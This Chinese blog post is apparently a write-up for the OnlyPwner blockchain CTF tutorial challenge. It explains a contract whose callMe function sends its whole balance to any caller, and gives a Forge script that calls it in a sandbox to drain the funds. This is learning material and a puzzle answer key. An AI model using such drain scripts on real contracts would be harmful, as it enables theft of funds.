OnlyPwner 入门篇 TUTORIAL / FREEBIE / REVERSE RUGPULL WriteUp

OnlyPwner 入门篇 TUTORIAL / FREEBIE / REVERSE RUGPULL WriteUp-魔法少女雪殇
OnlyPwner 入门篇 TUTORIAL / FREEBIE / REVERSE RUGPULL WriteUp
此内容为付费阅读,请付费后查看
10
立即购买
您当前未登录!建议登陆后购买,可保存购买订单
付费阅读
已售 2

由于onlypwner官网明确不要分享wp,但是我又要记录又要学习,所以设置付费,嘻嘻
部分原因,开始继续沉淀区块链
个人建议做这套题之前看这篇文章

TUTORIAL

这题作为入门题,顺便把官网翻译给翻译好了

这是一个示范性挑战,旨在展示如何与挑战进行交互并解决它。如果你是新手,确保在开始之前先阅读页面顶部链接的文档。

ONLYPWNER 上与挑战进行交互与与链上的智能合约交互非常相似,唯一不同的是我们连接的是一个沙盒环境,而不是一个真实的区块链。文档列出了你可以使用的各种工具。在本教程中,我们将使用 Forge 脚本

1. 找到漏洞

在页面底部的代码列表中,我们可以看到 Deploy.sol 脚本将 Tutorial 合约的初始余额设置为 10 以太。赢得挑战的条件可以在 IsSolved.sol 中找到,那就是从 Tutorial 合约中取出所有资金。

Tutorial 合约本身有一个名为 callMe 的函数,它会将所有资金转移到调用者。因此,为了解决这个挑战,我们只需要调用 Tutorial 合约的 callMe 方法。

2. 设置 Forge 环境

在你的本地机器上,在一个空目录中运行 forge init 来创建一个新项目。Forge 会初始化一个默认的文件夹和文件结构。我们可以忽略大部分内容,唯一对我们重要的目录是 script。在这个目录下,你会找到一个默认的脚本文件叫做 Counter.s.sol,你可以安全地删除这个文件。

3. 创建解决方案脚本

接下来,我们在本地的 script 目录中创建我们的解决方案脚本。你可以随意命名它,比如 script/SolveTutorial.sol。在这个文件中,我们只需要调用 Tutorial 合约的 callMe 方法:

pragma solidity ^0.8.13;

import {Script} from "forge-std/Script.sol";

interface ITutorial {
    function callMe() external;
}

contract SolveTutorial is Script {
    function run() public {
        vm.startBroadcast();
        ITutorial tutorial = ITutorial(/* TODO */);
        tutorial.callMe();
    }
}

4. 启动挑战

现在我们已经准备好调用 Tutorial 合约,我们需要它的地址和一个可以通信的 RPC。点击黄色的 LAUNCH 按钮,你将获得一个 RPC URL、合约地址以及用户的私钥和地址。将合约地址插入到 SolveTutorial 脚本中,替换掉 /* TODO */ 注释。

5. 运行解决方案脚本

我们现在可以执行脚本了。将你获得的值插入到下面的命令中并运行。不要 使用你真实的私钥,而是使用你在启动挑战时获得的私钥。这个私钥也不会发生变化,并且在所有挑战中都是常量。

pragma solidity ^0.8.13;

import {Script} from "forge-std/Script.sol";

interface ITutorial {
    function callMe() external;
}

contract SolveTutorial is Script {
    function run() public {
        vm.startBroadcast();
        ITutorial tutorial = ITutorial(/* TODO */);
        tutorial.callMe();
    }
}

6. 检查是否成功

最后,我们可以点击 CHECK 按钮。如果一切顺利,按钮会变绿,你就完成了挑战!

所以关于forge怎么用本文不做赘述,具体直接看文档就完了https://book.getfoundry.sh/

正式解题

看一下合约

pragma solidity 0.8.19;

import {ITutorial} from "./interfaces/ITutorial.sol";

contract Tutorial is ITutorial {
    constructor() payable {}

    function callMe() external override {
        (bool success, ) = msg.sender.call{value: address(this).balance}("");
        require(success, "Tutorial: call failed");
    }
}

非常明确,调用后就会转账这个合约的所有钱到调用者,所以直接写个script调用即可

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

import { Script } from "lib/forge-std/src/Script.sol";
import { ITutorial } from "../src/interfaces/ITutorial.sol";

contract Solve is Script {

    function run() public {
        uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployerPrivateKey);
        address tutorialAdd = vm.envAddress("TUTORIAL");
        ITutorial tutorial = ITutorial(tutorialAdd);
        tutorial.callMe();
    }
}

© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情

    暂无评论内容